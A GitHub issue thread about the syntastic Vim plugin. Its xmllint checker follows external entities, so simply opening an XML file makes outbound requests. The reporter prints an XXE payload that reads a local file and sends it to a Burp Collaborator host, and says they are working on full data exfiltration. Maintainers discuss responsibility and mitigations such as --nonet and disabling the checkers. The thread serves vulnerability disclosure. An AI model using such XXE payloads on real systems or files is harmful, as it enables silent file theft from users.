Skip to content
This repository has been archived by the owner on Sep 20, 2023. It is now read-only.

Potential XXE #2274

Open
sogewasp opened this issue Jul 12, 2019 · 11 comments
Open

Potential XXE #2274

sogewasp opened this issue Jul 12, 2019 · 11 comments

Comments

@sogewasp
Copy link

Hello,
yesterday I was pentesting a website and I was happy to see some XXE popping out in my Burp.
Then I realized that the requests weren't coming from the website but from my own machine!
So I investigated and found out that syntastic was making the requests while parsing my XML containing the XXE.

Here's one of the payloads I tested:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root [
 <!ENTITY % data SYSTEM "file:///tmp/lol">
 <!ENTITY % req2 SYSTEM 'http://mukoxxxxxxxxxxx5z.burpcollaborator.net/?%data;'>
 %req2;
]>

And here's the results on Burp:
Syntastic_Burp_HTTP

The requests are made each time syntastic parses the file, so also at the very moment you open it !

I found that the vulnerable part is in the file syntastic/syntax_checkers/xml/xmllint.vim but I didn't yet get the logic and why it's making the requests (maybe it's a feature !), so I decided to make an issue to discuss if it's necessary to patch or it's a normal behavior.

I am not yet able to exfiltrate data but I'm working on it, and maybe there's other security ninjas with fancy tricks capable of doing it.

Other useful information:

VIM - Vi IMproved 8.1 (2018 May 18, compiled Jun 15 2019 16:41:15)
(Debian Stretch version)
-----
Syntastic version: 3.9.0-41 (Vim 801, Linux, GUI)
Info for filetype:
Global mode: active
Filetype  is active
The current file will be checked automatically
Available checkers: -
Currently enabled checkers: -
@lcd047
Copy link
Collaborator

lcd047 commented Jul 12, 2019

I found that the vulnerable part is in the file syntastic/syntax_checkers/xml/xmllint.vim but I didn't yet get the logic and why it's making the requests (maybe it's a feature !), so I decided to make an issue to discuss if it's necessary to patch or it's a normal behavior.

Syntastic doesn't do any network operation itself. It also doesn't care about the contents of your files. What syntastic does is run third-party linters against your files, parses their output, and shows you the results in a window. That's all it does. If the linter involved in your test is xmllint my guess would be you're seeing xmllint(1) fetching DTD(s).

To see the exact command lines constructed by syntastic you can set g:syntastic_debug to 1, run the relevant checker, run :mes, and look for makeprg in the output (cf. :h syntastic-debug). To prevent xmllint(1) from making network requetsts you can install the DTDs it wants locally (cf. :h syntastic-xml-xmllint), or I suppose you can pass the relevant command line options to xmllint(1) (cf. :h syntastic-config-makeprg for syntastic's part in the affair). Better yet, you probably shouldn't use syntastic to check unknown files.

Syntastic is not secure. It was never meant to be secure. Several security problems have been found in it, and I'm sure there are many more yet to be discovered. Most of the time the "solution" to these was to tell people they're running checkers X, Y, Z on their own risk. So please use your common sense: syntastic is a damned Vim script. It can't protect itself from normal operation, let alone protect you against malicious third-party code. shrug

@sogewasp
Copy link
Author

Ok, I'll check for the debug symbols as soon as I have some time.
Still I find it a dangerous vector of exploitation in certain situations, it could mean that simply opening a file with vim would turn in an information disclosure or worse RCE...
Even if syntastic isn't conceived with security in mind and you aren't up to patch it, in my opinion at least a disclaimer should be on the Readme (I didn't see it, but maybe I missed it), giving advice to users.

@lcd047
Copy link
Collaborator

lcd047 commented Jul 12, 2019

Even if syntastic isn't conceived with security in mind and you aren't up to patch it

Since you rise this point, here's a short categorization of the kind of security problems syntastic has had so far:

  • Situation 1: the linter itself runs the code it checks (example: perl -c executes code #1013). How would you patch that in syntastic?
  • Situation 2: syntastic does something stupid but useful, and Vim's API isn't powerful enough to solve the problem at the root (example: Checker config files allow arbitrary code execution scenarios #2170). How would you patch that?
  • Situation 3: the linter itself runs the code it checks, a solution is supposedly available upstream, but making syntastic use the solution involves writing code in a language I don't know (syntastic has checkers for >100 languages), and people who do know and use said language care enough to complain, but don't care enough to write a patch (example: Elixir checker executes code #1141). How would you... well, never mind. Patches are welcome. 😄

in my opinion at least a disclaimer should be on the Readme (I didn't see it, but maybe I missed it), giving advice to users.

If you find an actual vulnerability I'll try to patch it. Or perhaps add a note about it. Patches are still welcome. 😄

@Matir
Copy link

Matir commented Apr 1, 2020

I just ran into this same (surprising) issue. What about passing (at least) --nonet to xmllint by default? It will at least prevent it from reaching out to remote servers when parsing XML documents.

@lcd047
Copy link
Collaborator

lcd047 commented Apr 1, 2020

@Matir That would also prevent xmllint from working in that particular situation, otherwise (presumably) xmllint wouldn't make network requests.

@lcd047
Copy link
Collaborator

lcd047 commented Jun 17, 2020

THATS VERY MALICIOUS ACTION. I DONT WANT RCE BY OPENING A FILE.

Then complain to xmllint developers?

@Matir
Copy link

Matir commented Jun 19, 2020

@machinexa2 You can disable XML/XSLT parsing by customizing parsers for syntastic in your vimrc:

let g:syntastic_xml_checkers=['']
let g:syntastic_xslt_checkers=['']

Though I disagree with @lcd047 about what the default should be, I respect the choice and acknowledge that it's a tradeoff between security and usability.

Keep in mind that opening a potentially malicious file with vim probably has lots of risk outside of syntastic as well. Look at the history of modelines.

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants
@Matir @lcd047 @sogewasp and others